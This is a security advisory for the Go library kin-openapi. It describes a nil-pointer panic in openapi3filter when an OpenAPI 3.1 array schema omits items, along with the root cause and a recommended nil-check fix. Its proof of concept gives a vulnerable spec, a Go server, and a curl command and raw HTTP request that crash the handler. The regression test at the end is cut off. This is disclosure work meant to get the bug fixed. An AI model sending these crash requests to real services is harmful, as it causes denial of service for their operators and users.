Summary
kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items
Advisory details
Summary
A nil-pointer dereference in openapi3filter lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI 3.1 operation that declares type: array without items. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting items, and doc.Validate() accepts such schemas with Schema.Items == nil. Request/response decoders then dereference Items with no nil check. The panic is deterministic (100%) on every request to the affected operation. There is no recover() in openapi3filter; under handlers without per-request recover the process can exit.
Details
Spec-validation asymmetry. OpenAPI 3.0 rejects array schemas that omit items (openapi3/schema.go around the TypeArray / newSchemaItemsRequired branch). For OpenAPI 3.1, T.Validate enables jsonSchema2020ValidationEnabled, so that check is skipped and Schema.Items remains nil after a clean doc.Validate().
Vulnerable decoder. The primary request-side crash is in UrlencodedBodyDecoder (still present on this checkout at L1421):
case propType.Is("array"):
items := propSchema.Value.Items.Value // Items == nil → panic
This runs during schema inspection before form values are parsed. Any non-empty application/x-www-form-urlencoded body for the operation reaches the dereference (an empty body is rejected earlier when requestBody.required is true, and never enters the decoder).
The same nil Items also crashes:
| Path | Location | Trigger |
|---|---|---|
MultipartBodyDecoder |
req_resp_decoder.go ~1564 → 1579 |
multipart/form-data part named like the array property |
parseArray → parsePrimitive |
req_resp_decoder.go ~1129 / 1151 |
Array-typed response headers via ValidateResponse, and path/cookie array params |
Middleware / ValidationHandler call ValidateRequest / ValidateResponse directly with no recover, so the panic escapes the library into the application.
Recommended fix. Guard nil Items and return a structured decode/validation error, e.g.:
case propType.Is("array"):
+ if propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil {
+ return nil, fmt.Errorf("unsupported schema of request body's property %q: array items required for decoding", propName)
+ }
items := propSchema.Value.Items.Value
Apply equivalent guards in MultipartBodyDecoder and parseArray before calling parsePrimitive.
PoC
Verified against revision c11a4812ba7be3ee3d81453be0c397ee84c238d5, Go 1.25, darwin/arm64.
1. Spec — OpenAPI 3.1 operation with urlencoded body and type: array property without items:
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/f:
post:
requestBody:
required: true
content:
application/x-www-form-urlencoded:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
2. E2E program — net/http server using the same public entrypoint (gorillamux → openapi3filter.ValidateRequest) real middleware uses. Save as main.go in a module that depends on github.com/getkin/kin-openapi at a vulnerable revision, then go run .:
package main
import (
"fmt"
"log"
"net/http"
"strings"
"github.com/getkin/kin-openapi/openapi3"
"github.com/getkin/kin-openapi/openapi3filter"
"github.com/getkin/kin-openapi/routers/gorillamux"
)
const spec = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/f:
post:
requestBody:
required: true
content:
application/x-www-form-urlencoded:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
`
func main() {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(spec))
if err != nil {
log.Fatal(err)
}
if err := doc.Validate(loader.Context); err != nil {
log.Fatalf("doc.Validate rejected (unexpected for 3.1): %v", err)
}
fmt.Println("SPEC_ACCEPTED; Items ==", doc.Paths.Value("/f").Post.RequestBody.Value.
Content.Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value.Items)
router, err := gorillamux.NewRouter(doc)
if err != nil {
log.Fatal(err)
}
// Direct call (no net/http recover): proves the library itself panics.
req, _ := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a"))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
route, pp, _ := router.FindRoute(req)
func() {
defer func() {
if r := recover(); r != nil {
fmt.Printf("DIRECT_PANIC: %v\n", r)
}
}()
_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
Request: req, PathParams: pp, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
fmt.Println("DIRECT_PANIC: none (unexpected)")
}()
mux := http.NewServeMux()
mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) {
route, pathParams, err := router.FindRoute(r)
if err != nil {
http.Error(w, err.Error(), http.StatusNotFound)
return
}
err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
Request: r, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
w.WriteHeader(http.StatusOK)
_, _ = w.Write([]byte("ok\n"))
})
addr := "127.0.0.1:8085"
fmt.Printf("listening on http://%s/f\n", addr)
fmt.Println("attack: curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://" + addr + "/f")
log.Fatal(http.ListenAndServe(addr, mux))
}
3. Observed output (go run .):
SPEC_ACCEPTED; Items == <nil>
DIRECT_PANIC: runtime error: invalid memory address or nil pointer dereference
listening on http://127.0.0.1:8085/f
Then:
curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://127.0.0.1:8085/f
Server log:
http: panic serving 127.0.0.1:…: runtime error: invalid memory address or nil pointer dereference
… openapi3filter.UrlencodedBodyDecoder …/req_resp_decoder.go:1421
… openapi3filter.ValidateRequest …
Stack pins the fault to UrlencodedBodyDecoder at req_resp_decoder.go:1421, called from ValidateRequest → ValidateRequestBody → decodeBody.
Attack request:
POST /f HTTP/1.1
Host: victim
Content-Type: application/x-www-form-urlencoded
tags=a
(Any non-empty body is enough; form content is irrelevant because Items is dereferenced during schema inspection before parsing.)
4. Regression / multi-surface test suite — save as e.g. openapi3filter/array_items_nil_panic_test.go in a checkout of the module and run go test -run TestArrayItemsNilPanic ./openapi3filter/ -v:
package openapi3filter_test
import (
"bytes"
"context"
"fmt"
"io"
"mime/multipart"
"net/http"
"net/http/httptest"
"strings"
"testing"
"github.com/stretchr/testify/require"
"github.com/getkin/kin-openapi/openapi3"
"github.com/getkin/kin-openapi/openapi3filter"
"github.com/getkin/kin-openapi/routers/gorillamux"
)
const urlencodedSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/f:
post:
requestBody:
required: true
content:
application/x-www-form-urlencoded:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
`
const urlencodedSpec30 = `
openapi: 3.0.3
info: {title: t, version: 1.0.0}
paths:
References
- https://github.com/advisories/GHSA-p6wj-qrr4-pgh5
- https://github.com/getkin/kin-openapi/security/advisories/GHSA-p6wj-qrr4-pgh5
- https://nvd.nist.gov/vuln/detail/CVE-2026-97394
- https://github.com/getkin/kin-openapi/commit/30e292371a89ca6d1f91a9553e0aa518b49f838d
- https://github.com/getkin/kin-openapi/releases/tag/v0.143.0
Related vulnerabilities
All Supply chain →- HIGHCVE-2026-100349
kin-openapi openapi3filter: nil-pointer panic in ValidateResponse on a response header declared with content
- HIGHCVE-2026-84994
Qwik: Crashing any Qwik Server via Resource thenable
- HIGHCVE-2026-100353
kin-openapi: Incomplete Fix for GHSA-p6wj-qrr4-pgh5: Three Unpatched nil-Items Panic Paths in openapi3filter
- MEDIUMCVE-2026-100348
kin-openapi spec loader panics on a self-referential additionalProperties $ref (nil-pointer DoS)
- MEDIUMCVE-2026-100347
kin-openapi: Unauthenticated panic (DoS) in openapi3filter legacy router via non-canonical/unsupported HTTP method on a static path
- MEDIUMCVE-2026-100394
Nezha Monitoring: Whole-instance DoS in Nezha dashboard: a member can crash the process for every tenant